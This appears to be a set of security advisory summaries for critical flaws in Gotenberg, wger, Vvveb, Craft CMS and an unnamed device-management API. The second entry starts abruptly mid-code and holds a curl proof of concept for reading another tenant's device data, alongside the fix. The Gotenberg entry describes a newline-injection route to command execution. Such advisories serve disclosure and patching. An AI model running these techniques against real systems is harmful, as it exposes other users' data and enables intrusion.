Unauthenticated remote code execution in Gotenberg 8.29.1 allows network attackers to execute arbitrary OS commands via newline injection in PDF metadata keys. The `/forms/pdfengines/metadata/write` endpoint passes user-controlled JSON metadata keys directly to ExifTool without control-character validation. Embedding `\n` in a key splits ExifTool's stdin stream, injecting arbitrary flags including `-if` which evaluates Perl expressions. Attack returns HTTP 200 with valid PDF output, evading basic monitoring. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N) reflects critical network-accessible RCE. No vendor-released patch identified at time of analysis — GitHub advisory GHSA-rqgh-gxv4-6657 confirms the issue but CPE data shows no fixed version. Publicly available exploit code exists in Python and bash with OOB exfiltration. Default Docker image `gotenberg/gotenberg:8` runs the vulnerable process as uid 1001 with root group membership, amplifying post-exploitation impact.

{ device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid)) // ⚠️ missing: s.store.Options().InNamespace(tenant) ... } ``` Compare with `DeleteDevice` in the same file (line 137) which correctly applies `InNamespace(tenant)`. The `Authorize` middleware (`api/routes/middleware/authorize.go:12-27`) only checks that a tenant is present in the context - not that the resource belongs to that tenant. Pre-requisite: attacker has any valid user account and knows a target `tenant_id` (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership). ```bash ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) TARGET_TENANT="<victim-tenant-uuid>" VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \ -H 'Content-Type: application/json' \ -d "{ \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"}, \"hostname\":\"poc\", \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"}, \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\", \"tenant_id\":\"$TARGET_TENANT\" }" | jq -r .uid) curl -i "http://target/api/devices/$VICTIM_UID" \ -H "Authorization: Bearer $ATTACKER_TOKEN" ``` - Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address. - Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks. In `api/services/device.go` `GetDevice`, extract tenant from context and apply `InNamespace`: ```go func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) { tenant := gateway.TenantFromContext(ctx) opts := []store.QueryOption{} if tenant != nil { opts = append(opts, s.store.Options().InNamespace(tenant.ID)) } device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...) ... } ```

Complete account takeover in wger Python fitness management platform allows authenticated gym managers with no gym assignment (gym=None) to reset passwords of any other unaffiliated user and receive the new plaintext password in the HTTP response body. The vulnerability stems from a Django ORM authorization check that incorrectly evaluates None != None as False, bypassing the tenant isolation guard. Newly registered users default to gym=None state, making every public-registration wger deployment vulnerable. CVSS 9.9 Critical severity with scope change (cross-tenant impersonation). GitHub advisory GHSA-mhc8-p3jx-84mm confirms exploitation requires only low privilege (delegated gym.manage_gym permission) with no user interaction, enabling permanent victim lockout as original passwords are invalidated.

Hard-coded credentials in Vvveb's Docker deployment expose the entire application database to unauthenticated remote attackers. Versions prior to 1.0.8.2 ship with pre-configured phpMyAdmin credentials in docker-compose-apache.yaml, allowing direct database access without authentication. Attackers gain unrestricted read/write access to administrator password hashes, customer PII, and order data, enabling account takeover and data manipulation. CVSS 9.2 (Critical) reflects network-accessible attack with low complexity. Patch available in version 1.0.8.2 with vendor advisory confirmed by GitHub Security Advisory GHSA-g38h-mr9p-fjmf.

Unauthorized PII disclosure in Craft CMS GraphQL API allows cross-scope address enumeration via missing authorization check. A GraphQL API token scoped to any single low-privilege user group can read all addresses system-wide, including PII from restricted user groups (full names, home addresses, corporate addresses, tax IDs, GPS coordinates). The Address element resolver bypasses schema scope filtering that all other element resolvers enforce. Vendor-released patch: versions 5.9.18 and 4.17.12. Publicly available exploit code exists (detailed PoC in GitHub advisory). Affects all Craft CMS Pro deployments (v4.0.0+) using headless GraphQL APIs with user group scoping-a standard deployment pattern for Next.js/Nuxt/Gatsby frontends.